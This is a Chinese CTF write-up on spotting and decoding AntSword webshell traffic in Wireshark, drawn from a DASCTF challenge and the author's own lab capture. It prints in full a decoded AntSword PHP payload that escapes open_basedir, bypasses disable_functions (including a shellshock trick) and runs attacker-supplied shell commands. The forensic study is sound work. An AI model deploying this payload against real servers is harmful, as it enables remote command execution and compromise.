最近回顾了一道蚁剑的流量分析题目,就像借着这个机会记录一下学习内容

先看题目

题目是 2022DASCTF Apr X FATE 防疫挑战赛的流量分析题

首先打开流量包,查看下 tcp 追踪流

发现了流 52 有带有 flag.txt 字样的 zip

可以手动分离也可以 binwalk 或者 foremost,分离出压缩包发现是加密的

那就需要找到压缩包密码,去看看之前的追踪流

在流 50 找到了压缩包的加密过程,解码上面的密文进行阅读分析

在这里发现了压缩包的密码 PaSsZiPWorD

解压压缩包得到 flag

DASCTF{f3f32f434eddbc6e6b5043373af95ae8}

题目做完了就想着自己去截取流量分析一下,于是就在 ctfshow 开了一个文件上传的环境

成功将马上传了之后使用蚁剑 getshell,这里是不使用任何的加密方式,采用蚁剑的虚拟终端敲了两个命令来获取 flag,截取流量进行分析

wireshark 捕获设置为 WLAN 之后点击开始,截取之后进行分析

tcp 流 22:

发现成功截取

观察 tcp 追踪流,这里也显示了蚁剑流量的一个明显的特征:

1
a=@ini_set("display_errors", "0")

这个在蚁剑当中是以明文的方式出现的,而其他的 webshell 管理工具一般会进行加密,继续分析,这里是蚁剑中虚拟终端输入的第一个命令

将该流的这个 base64 解码能够看到

可以看到后面的流一样显示截取的蚁剑流量

tcp 流 33:

该流就是输入的第二个命令了,就不演示解码了,同时在 http 流能够看到 cat
flag.php 之后的具体内容

同样的

继续使用 base64 加解密的方式对数据进行数据处理试试

保存数据,用虚拟终端输入命令获取 flag 进行测试

可以仔细看看加密之后的一整串 base64 解码之后的样子,这里以 tcp 流 5 为例

进行解码得到

方便查看可以格式化一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split("/;|:/",$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)) {
continue;
}
;
$tmdir=$item."/.6a33b73913";
@mkdir($tmdir);
if(!@file_exists($tmdir)) {
continue;
}
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for ($i=0;$i<sizeof($cntarr);$i++) {
@chdir("..");
}
;
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
}
;
}
;
;
function asenc($out) {
return @base64_encode($out);
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "95"."44e";
echo @asenc($output);
echo "1911"."b6c9";
}
ob_start();
try {
$p=base64_decode(substr($_POST["ka199f64875418"],2));
$s=base64_decode(substr($_POST["n7573f80f63f59"],2));
$envstr=@base64_decode(substr($_POST["w2b059d24e126c"],2));
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
if(substr($d,0,1)=="/") {
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if(!empty($envstr)) {
$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r="{$p} {$c}";
function fe($f) {
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)) {
$d=array();
} else {
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
}
;
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
}
;
function runcmd($c) {
$ret=0;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe('system')) {
@system($c,$ret);
} elseif(fe('passthru')) {
@passthru($c,$ret);
} elseif(fe('shell_exec')) {
print(@shell_exec($c));
} elseif(fe('exec')) {
@exec($c,$o,$ret);
print(join("
",$o));
} elseif(fe('popen')) {
$fp=@popen($c,'r');
while(!@feof($fp)) {
print(@fgets($fp,2048));
}
@pclose($fp);
} elseif(fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])) {
print(@fgets($io[1],2048));
}
while(!@feof($io[2])) {
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif(fe('antsystem')) {
@antsystem($c);
} elseif(runshellshock($d, $c)) {
return $ret;
} elseif(substr($d,0,1)!="/" && @class_exists("COM")) {
$w=new COM('WScript.shell');
$e=$w->exec($c);
$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);
} else {
$ret = 127;
}
return $ret;
}
;
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

当查看这一串的 base64 解码的内容时

这串内容可能出现在整体代码的前面,也可能能出现在整体代码的后端
尝试了几次,发现是这样的,但是具体原因还不太清楚

能发现我们之前输入的最后一行 cat flag.php 命令

根据这个再去 http 流的最后一个追踪流

解码这段 base64 就能看到 cat flag.php 的具体内容了